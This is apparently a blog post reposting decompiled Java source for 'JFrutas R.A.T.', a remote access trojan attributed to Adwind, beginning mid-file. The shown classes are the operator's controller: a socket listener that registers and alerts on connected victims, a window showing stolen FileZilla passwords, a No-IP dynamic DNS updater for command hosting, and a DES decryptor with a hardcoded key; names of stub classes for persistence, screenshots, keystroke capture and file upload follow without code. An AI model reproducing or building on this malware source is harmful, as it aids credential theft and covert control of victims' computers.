entra.readInt(); switch(i) { case 1: String ex = entra.readUTF(); PassFileZilla m = new PassFileZilla(this, ex); m.setVisible(true); m.setLocation(100, 100); this.fruta.jdeskTopPanel1.add(m, 0); case 2: } } } } catch (IOException var5) { System.out.println("Hubo error en la conexion yaestablecida"); this.fruta.ModificaTabla(this.dentificador, (String[])null, false); } } }
Escucha.java
package cliente; import Extras.Sonid; import cliente.FrutaManager; import cliente.Usuario; import cliente.popupBarra; import java.io.IOException; import java.net.ServerSocket; import java.net.Socket; import java.util.HashMap; public class Escucha extends Thread { public static FrutaManager frutamanager; public static HashMap USUARIOS = new HashMap(); public static boolean CONECTADO = true; private ServerSocket escuchad; private Socket socket; public static synchronized Usuario listGet(String id) { return (Usuario)USUARIOS.get(id); } public Escucha(int puerto, int cola, FrutaManager fruta) throws IOException { this.escuchad = new ServerSocket(puerto, cola); frutamanager = fruta; System.out.println("Iniciando Servidor por primera vez en el puerto: " + puerto); CONECTADO = true; } public void run() { do { try { this.socket = this.escuchad.accept(); Usuario ex = new Usuario(this.socket, frutamanager); System.out.println("REcibi una conexion"); if(ex.isConectado()) { ex.agregarAtABLA(); USUARIOS.put(ex.getIdentificador(), ex); ex.start(); (new Sonid()).start(); popupBarra p = new popupBarra(frutamanager, false); p.ip.setText(ex.getIdentificador()); p.ip1.setText(ex.getSock().getInetAddress().getHostAddress()); p.setVisible(true); } } catch (IOException var3) { System.out.println("Cerre conexion"); } } while(CONECTADO); } public boolean isListen() { return CONECTADO; } public void stopPara() { CONECTADO = false; try { this.escuchad.close(); } catch (IOException var2) { System.out.println("Error en: StopPara"); } } }
SoporteLenguaje.java
package cliente; import java.util.ResourceBundle; public interface SoporteLenguaje { void changeLenguage(ResourceBundle var1); }
PassFileZilla.java
package cliente; import cliente.Usuario; import java.awt.Font; import java.io.DataInputStream; import java.io.DataOutputStream; import javax.swing.GroupLayout; import javax.swing.JInternalFrame; import javax.swing.JScrollPane; import javax.swing.JTextArea; import javax.swing.GroupLayout.Alignment; public class PassFileZilla extends JInternalFrame { private Usuario user; private DataOutputStream sal; private DataInputStream ent; private JScrollPane jScrollPane1; private JTextArea jTextArea1; public PassFileZilla(Usuario us, String pass) { this.initComponents(); this.user = us; this.setTitle(this.getTitle() + this.user.getIdentificador()); this.jTextArea1.setText(pass); } private void initComponents() { this.jScrollPane1 = new JScrollPane(); this.jTextArea1 = new JTextArea(); this.setClosable(true); this.setIconifiable(true); this.setResizable(true); this.setTitle("Contraseñas: "); this.jTextArea1.setColumns(20); this.jTextArea1.setFont(new Font("Times New Roman", 1, 14)); this.jTextArea1.setRows(5); this.jScrollPane1.setViewportView(this.jTextArea1); GroupLayout layout = new GroupLayout(this.getContentPane()); this.getContentPane().setLayout(layout); layout.setHorizontalGroup(layout.createParallelGroup(Alignment.LEADING).addGroup(Alignment.TRAILING, layout.createSequentialGroup().addGap(0, 0, 0).addComponent(this.jScrollPane1, -1, 321, 32767))); layout.setVerticalGroup(layout.createParallelGroup(Alignment.LEADING).addComponent(this.jScrollPane1, -1, 210, 32767)); this.pack(); } }
NoIpService.java
package cliente; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.net.HttpURLConnection; import java.net.URL; import java.util.regex.Pattern; public class NoIpService { private String user; private String pass; public NoIpService(String user, String pass) { this.user = user; this.pass = pass; } public String[] getDNS() { String[] DNS = null; try { HttpURLConnection ex = (HttpURLConnection)(new URL("http://dynupdate.no-ip.com/list-hosts.php?email=" + this.user + "&pass=" + this.pass)).openConnection(); BufferedReader br = new BufferedReader(new InputStreamReader(ex.getInputStream())); String t; for(t = ""; br.ready(); t = br.readLine()) { ; } if(t.contains("=")) { return null; } else { t = t.replace("#,", ""); DNS = t.split(Pattern.quote("|")); return DNS; } } catch (IOException var5) { return DNS; } } public String actualiza(String DNS, String ip) { String texto = "Ocurrio un error"; String URL = "http://dynupdate.no-ip.com/dns?username=" + this.user + "&password=" + this.pass + "&hostname=" + DNS; if(!ip.equals("")) { URL = URL + "&ip=" + ip; } try { HttpURLConnection ex = (HttpURLConnection)(new URL(URL)).openConnection(); BufferedReader br = new BufferedReader(new InputStreamReader(ex.getInputStream())); String resultado = br.readLine(); ex.disconnect(); String[] dato = resultado.split(":"); int valor = Integer.parseInt(dato[1]); switch(valor) { case 0: texto = "Sin cambios"; break; case 1: texto = "Actualizado"; } } catch (Exception var10) { System.out.println(var10.getMessage()); } return texto; } }
DetallesWindows.java
package cliente; import java.io.IOException; import java.io.ObjectInputStream; import java.util.ResourceBundle; import java.util.logging.Level; import java.util.logging.Logger; import javax.swing.GroupLayout; import javax.swing.ImageIcon; import javax.swing.JInternalFrame; import javax.swing.JScrollPane; import javax.swing.JTextArea; import javax.swing.GroupLayout.Alignment; public class DetallesWindows extends JInternalFrame implements Runnable { private ObjectInputStream in; private JScrollPane jScrollPane1; private JTextArea jTextArea1; public DetallesWindows(ObjectInputStream in) { this.initComponents(); this.in = in; } private void initComponents() { this.jScrollPane1 = new JScrollPane(); this.jTextArea1 = new JTextArea(); this.setClosable(true); this.setIconifiable(true); this.setMaximizable(true); this.setResizable(true); ResourceBundle bundle = ResourceBundle.getBundle("idiomas/Idioma"); this.setTitle(bundle.getString("infowind.titulo")); this.setFrameIcon(new ImageIcon(this.getClass().getResource("/resources/windetails.png"))); this.jTextArea1.setColumns(20); this.jTextArea1.setRows(5); this.jTextArea1.setText(bundle.getString("infowind.cuerpo")); this.jScrollPane1.setViewportView(this.jTextArea1); GroupLayout layout = new GroupLayout(this.getContentPane()); this.getContentPane().setLayout(layout); layout.setHorizontalGroup(layout.createParallelGroup(Alignment.LEADING).addComponent(this.jScrollPane1, -1, 596, 32767)); layout.setVerticalGroup(layout.createParallelGroup(Alignment.LEADING).addComponent(this.jScrollPane1, -1, 290, 32767)); this.pack(); } public void run() { try { String ex = this.in.readUTF(); this.jTextArea1.setText(ex); } catch (IOException var2) { Logger.getLogger(DetallesWindows.class.getName()).log(Level.SEVERE, (String)null, var2); } } }
Acerca.java
package cliente; import cliente.SoporteLenguaje; import java.awt.Color; import java.awt.Font; import java.util.ResourceBundle; import javax.swing.GroupLayout; import javax.swing.ImageIcon; import javax.swing.JInternalFrame; import javax.swing.JLabel; import javax.swing.JTextField; import javax.swing.GroupLayout.Alignment; import javax.swing.LayoutStyle.ComponentPlacement; public final class Acerca extends JInternalFrame implements SoporteLenguaje { private JLabel jLabel1; private JLabel jLabel2; private JLabel jLabel4; private JLabel jLabel5; private JLabel jLabel6; private JTextField jTextField1; private JTextField jTextField2; private JTextField jTextField3; public Acerca(ResourceBundle rb) { this.initComponents(); this.changeLenguage(rb); } private void initComponents() { this.jLabel1 = new JLabel(); this.jLabel4 = new JLabel(); this.jTextField1 = new JTextField(); this.jLabel5 = new JLabel(); this.jTextField2 = new JTextField(); this.jLabel6 = new JLabel(); this.jTextField3 = new JTextField(); this.jLabel2 = new JLabel(); this.setClosable(true); this.setTitle("Acerca"); this.setToolTipText(""); this.setFont(new Font("Andalus", 0, 10)); this.setFrameIcon(new ImageIcon(this.getClass().getResource("/resources/autor.png"))); this.jLabel1.setFont(new Font("Times New Roman", 1, 24)); this.jLabel1.setForeground(new Color(204, 102, 0)); this.jLabel1.setHorizontalAlignment(0); this.jLabel1.setText("JFrutas R.A.T."); this.jLabel4.setFont(new Font("Angelina", 1, 18)); this.jLabel4.setForeground(new Color(0, 102, 51)); this.jLabel4.setHorizontalAlignment(0); ResourceBundle bundle = ResourceBundle.getBundle("idiomas/Idioma"); this.jLabel4.setText(bundle.getString("acerca.autor")); this.jTextField1.setEditable(false); this.jTextField1.setBackground(new Color(255, 255, 153)); this.jTextField1.setFont(new Font("Times New Roman", 1, 18)); this.jTextField1.setForeground(new Color(0, 102, 51)); this.jTextField1.setHorizontalAlignment(0); this.jTextField1.setText("Adwind"); this.jLabel5.setFont(new Font("Angelina", 1, 18)); this.jLabel5.setForeground(new Color(0, 102, 51)); this.jLabel5.setHorizontalAlignment(0); this.jLabel5.setText(bundle.getString("acerca.pagina")); this.jTextField2.setEditable(false); this.jTextField2.setBackground(new Color(255, 255, 153)); this.jTextField2.setFont(new Font("Times New Roman", 1, 18)); this.jTextField2.setForeground(new Color(0, 102, 51)); this.jTextField2.setHorizontalAlignment(0); this.jTextField2.setText("http://adwindsoft.x10.mx"); this.jLabel6.setFont(new Font("Angelina", 1, 18)); this.jLabel6.setForeground(new Color(0, 102, 51)); this.jLabel6.setHorizontalAlignment(0); this.jLabel6.setText(bundle.getString("acerca.version")); this.jTextField3.setEditable(false); this.jTextField3.setBackground(new Color(255, 255, 153)); this.jTextField3.setFont(new Font("Times New Roman", 1, 18)); this.jTextField3.setForeground(new Color(0, 102, 51)); this.jTextField3.setHorizontalAlignment(0); this.jTextField3.setText("1.0"); this.jLabel2.setIcon(new ImageIcon(this.getClass().getResource("/resources/site_logo.gif.png"))); GroupLayout layout = new GroupLayout(this.getContentPane()); this.getContentPane().setLayout(layout); layout.setHorizontalGroup(layout.createParallelGroup(Alignment.LEADING).addComponent(this.jLabel1, -1, -1, 32767).addComponent(this.jLabel5, -1, -1, 32767).addComponent(this.jLabel4, Alignment.TRAILING, -1, -1, 32767).addComponent(this.jTextField1).addComponent(this.jTextField2, -1, 517, 32767).addComponent(this.jLabel6, -1, -1, 32767).addComponent(this.jTextField3).addComponent(this.jLabel2, -1, -1, 32767)); layout.setVerticalGroup(layout.createParallelGroup(Alignment.LEADING).addGroup(Alignment.TRAILING, layout.createSequentialGroup().addComponent(this.jLabel2).addPreferredGap(ComponentPlacement.RELATED).addComponent(this.jLabel1, -2, 22, -2).addPreferredGap(ComponentPlacement.RELATED).addComponent(this.jLabel4).addPreferredGap(ComponentPlacement.RELATED).addComponent(this.jTextField1, -2, -1, -2).addPreferredGap(ComponentPlacement.RELATED).addComponent(this.jLabel5).addPreferredGap(ComponentPlacement.RELATED).addComponent(this.jTextField2, -2, -1, -2).addPreferredGap(ComponentPlacement.RELATED).addComponent(this.jLabel6).addPreferredGap(ComponentPlacement.RELATED).addComponent(this.jTextField3, -2, -1, -2).addContainerGap(-1, 32767))); this.pack(); } public void changeLenguage(ResourceBundle rb) { this.setTitle(rb.getString("acerca.titulo")); this.jLabel4.setText(rb.getString("acerca.autor")); this.jLabel5.setText(rb.getString("acerca.pagina")); this.jLabel6.setText(rb.getString("acerca.version")); } }
--------------------------------------------------------------------------------------------------------------------------
EL PROYECTO CONTIENE CLASES PRINCIPALES QUE VAN COMO LA FOTO.
=======================================================================
WindowsPreference.java
public class WindowsPreference { }
mmmm.java
import java.io.ByteArrayOutputStream; import java.io.FileInputStream; import java.io.FileOutputStream; import java.util.logging.Level; import java.util.logging.Logger; import javax.crypto.Cipher; import javax.crypto.SecretKey; import javax.crypto.SecretKeyFactory; import javax.crypto.spec.DESKeySpec; public class mmmm { public mmmm() { try { SecretKeyFactory ex = SecretKeyFactory.getInstance("DES"); DESKeySpec kspec = new DESKeySpec("asdCasdasdontrasenasdasdasdaa".getBytes()); SecretKey ks = ex.generateSecret(kspec); Cipher c = Cipher.getInstance("DES"); c.init(2, ks); FileInputStream in = new FileInputStream("textoenc.txt"); byte[] buf = new byte[1024]; ByteArrayOutputStream out = new ByteArrayOutputStream(); int i; byte[] bufencriptado; while((i = in.read(buf)) > -1) { bufencriptado = c.update(buf, 0, i); out.write(bufencriptado); } bufencriptado = c.doFinal(); out.write(bufencriptado); out.close(); FileOutputStream tmp = new FileOutputStream("textodes.txt"); tmp.write(out.toByteArray()); tmp.close(); System.out.println(new String(out.toByteArray())); } catch (Exception var11) { Logger.getLogger(mmmm.class.getName()).log(Level.SEVERE, (String)null, var11); } } public static void main(String[] args) { new mmmm(); } }
WindowsStartupServices.java
Misc.java
Screenshot.java
MD5.java
CrazyKeyboard.java
mouseLoco.java
lma.java
WindowsStartupService.java
LinuxStartup.java
QuickLZ.java
procesos.java
FileUploader.java
TecladoLoco.java
RegistryUtils.java









Este comentario ha sido eliminado por el autor.
ResponderEliminar